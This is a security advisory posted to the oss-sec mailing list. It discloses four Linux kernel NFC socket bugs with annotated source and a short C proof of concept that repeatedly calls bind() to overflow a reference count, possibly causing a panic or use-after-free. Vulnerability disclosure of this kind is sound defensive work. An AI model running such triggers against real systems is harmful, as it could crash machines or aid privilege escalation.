oss-sec mailing list archives

[CVE-2020-25670,CVE-2020-25671,CVE-2020-25672,CVE-2020-25673]Linux kernel: many bugs in nfc socket


From: kiyin(尹亮) <kiyin () tencent com>
Date: Sun, 1 Nov 2020 13:12:13 +0000

CVE Assigned:
CVE-2020-25670 : new bug 1
CVE-2020-25671 : new bug 2
CVE-2020-25672 : new bug 3
CVE-2020-25673 : new bug 4

Patches:
not yet available

Details:

Hi,

we found many bugs in nfc socket. Here is the detail.

At first, let's see a fixed bug from https://lore.kernel.org/patchwork/patch/1135836. this patch fixed a memory leak 
bug in llcp_sock_bind()

--- a/net/nfc/llcp_sock.c
+++ b/net/nfc/llcp_sock.c
@@ -119,9 +119,14 @@  static int llcp_sock_bind(struct socket
     llcp_sock->service_name = kmemdup(llcp_addr.service_name,
                       llcp_sock->service_name_len,
                       GFP_KERNEL);
-
+    if (!llcp_sock->service_name) {
+        ret = -ENOMEM;
+        goto put_dev;
+    }
     llcp_sock->ssap = nfc_llcp_get_sdp_ssap(local, llcp_sock);
     if (llcp_sock->ssap == LLCP_SAP_MAX) {
+        kfree(llcp_sock->service_name);
+        llcp_sock->service_name = NULL;
         ret = -EADDRINUSE;
         goto put_dev;
     }

if nfc_llcp_get_sdp_ssap failed, llcp_sock->service_name will be freed. That's really fixed.


new bug 1, refcount leak in llcp_sock_bind():
In the same function llcp_sock_bind(), nfc_llcp_local_get() is called before kmemdup.

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n101
101    llcp_sock->dev = dev;
102    llcp_sock->local = nfc_llcp_local_get(local);                     <---- nfc_llcp_local_get increases the 
refcount of local, adds plus 1
103    llcp_sock->nfc_protocol = llcp_addr.nfc_protocol;
104    llcp_sock->service_name_len = min_t(unsigned int,
105                        llcp_addr.service_name_len,
106                        NFC_LLCP_MAX_SERVICE_NAME);
107    llcp_sock->service_name = kmemdup(llcp_addr.service_name,
108                      llcp_sock->service_name_len,
109                      GFP_KERNEL);
110    if (!llcp_sock->service_name) {
111        ret = -ENOMEM;
112        goto put_dev;
113    }
114    llcp_sock->ssap = nfc_llcp_get_sdp_ssap(local, llcp_sock);
115    if (llcp_sock->ssap == LLCP_SAP_MAX) {
116        kfree(llcp_sock->service_name);                               <---- if nfc_llcp_get_sdp_ssap returns 
LLCP_SAP_MAX, only llcp_sock->service_name gets be freed.
117        llcp_sock->service_name = NULL;                               <---- nothing is done to local.
118        ret = -EADDRINUSE;
119        goto put_dev;
120    }
..............................
130 put_dev:                                                             <---- nothing is done to local in put_dev 
label either.
131     nfc_put_device(dev);
132 
133 error:
134     release_sock(sk);
135     return ret;                                                      <---- the refcount of local remains added.


from the analysis above, we can see that: if nfc_llcp_get_sdp_ssap returns LLCP_SAP_MAX, when llcp_sock_bind() is 
returned, sk->sk_state is still LLCP_CLOSED. So we can call llcp_sock_bind() many times, keep the refcount of local 
increasing.

Threre is a REFCOUNT_CHECK_LT_ZERO in refcount_inc. When the refcount of local gets to 0x80000000, if the system 
handles the refcount exception, it leads to a system panic. If not, it will get to 0xFFFFFFFF and then to 0, then to 
1... if nfc_llcp_local_put is called, the local will be freed. that is a worse UAF bug which might lead to privilege 
escalations.

Here is the test code:

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/nfc.h>

#define NFC_SOCKPROTO_LLCP  1
#define NFC_PROTO_NFC_DEP   5

int main()
{
    unsigned int i;
    int fd;
    struct sockaddr_nfc_llcp addr;

    fd = socket( AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP );
    if ( fd < 0 )
        return 0;

    memset( &addr, 0, sizeof(struct sockaddr_nfc_llcp) );
    addr.sa_family = AF_NFC;
    addr.dev_idx = 0;
    addr.nfc_protocol = NFC_PROTO_NFC_DEP;
    addr.service_name_len = 0;

    for ( i = 0; i < 0x90000000; i++ )
    {
        bind( fd, (struct sockaddr*) &addr, sizeof(struct sockaddr_nfc_llcp) );
    }

    close( fd );
    return 0;
}

new bug 2, refcount leak in llcp_sock_connect():
it is the same bug as the one described above.
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n701
701    llcp_sock->dev = dev;
702    llcp_sock->local = nfc_llcp_local_get(local);                     <---- nfc_llcp_local_get increases the 
refcount of local, adds plus 1
703    llcp_sock->ssap = nfc_llcp_get_local_ssap(local);
704    if (llcp_sock->ssap == LLCP_SAP_MAX) {                            <---- if nfc_llcp_get_local_ssap returns 
LLCP_SAP_MAX
705        ret = -ENOMEM;
706        goto put_dev;
707    }
..............................
750 put_dev:                                                             <---- nothing is done to local in put_dev 
label.
751     nfc_put_device(dev);
752 
753 error:
754     release_sock(sk);
755     return ret;                                                      <---- the refcount of local remains added.


new bug 3, memory leak in llcp_sock_connect():

it is the same bug as the fixed one in llcp_sock_bind()

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n719
719        llcp_sock->service_name = kmemdup(addr->service_name,
720                          llcp_sock->service_name_len,
721                          GFP_KERNEL);                                <---- kmemdup allocates memory for 
llcp_sock->service_name
722        if (!llcp_sock->service_name) {
723            ret = -ENOMEM;
724            goto sock_llcp_release;
725        }
726    
727        nfc_llcp_sock_link(&local->connecting_sockets, sk);
728    
729        ret = nfc_llcp_send_connect(llcp_sock);
730        if (ret)
731            goto sock_unlink;                                         <---- if nfc_llcp_send_connect is failed, 
llcp_sock->service_name is not freed.
............................................
744    sock_unlink:                                                      <---- llcp_sock->service_name is not freed in 
the next.
745        nfc_llcp_sock_unlink(&local->connecting_sockets, sk);
746    
747    sock_llcp_release:
748        nfc_llcp_put_ssap(local, llcp_sock->ssap);
749    
750    put_dev:
751        nfc_put_device(dev);
752    
753    error:
754        release_sock(sk);
755        return ret;                                                   <---- sk->sk_state is not LLCP_CONNECTED. we 
can call llcp_sock_connect() many times.


new bug 4, non-blocking socket in llcp_sock_connect():

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/nfc/llcp_sock.c?h=v5.3.18#n727

727    nfc_llcp_sock_link(&local->connecting_sockets, sk);               <---- sk is linked to local->connecting_sockets
728
729    ret = nfc_llcp_send_connect(llcp_sock);
730    if (ret)
731        goto sock_unlink;
732
733    sk->sk_state = LLCP_CONNECTING;
734
735    ret = sock_wait_state(sk, LLCP_CONNECTED,
736                  sock_sndtimeo(sk, flags & O_NONBLOCK));             <---- calling ioctl(fd, FIONBIO, &imode) 
before connect will make the socket flag get O_NONBLOCK mask.
737    if (ret && ret != -EINPROGRESS)                                   <---- sock_wait_state returns -EINPROGRESS 
right away
738        goto sock_unlink;
739
740    release_sock(sk);
741
742    return ret;                                                       <---- llcp_sock_connect() returns right away

if we set llcp_sock->service_name to meaningless string, the connect will be failed. and sk->sk_state will not be 
LLCP_CONNECTED. then we can call llcp_sock_connect() many times. that leaks everything:
llcp_sock->dev, llcp_sock->local, llcp_sock->ssap, llcp_sock->service_name...
leak is one problem. another problem is that we can call llcp_sock_connect() twice before nfc target response. 
nfc_llcp_sock_link() will add sk to local->connecting_sockets twice. sk->sk_node->next will point to itself, that will 
make an endless loop and hang-up the system.

Regards,
kiyin.

Current thread: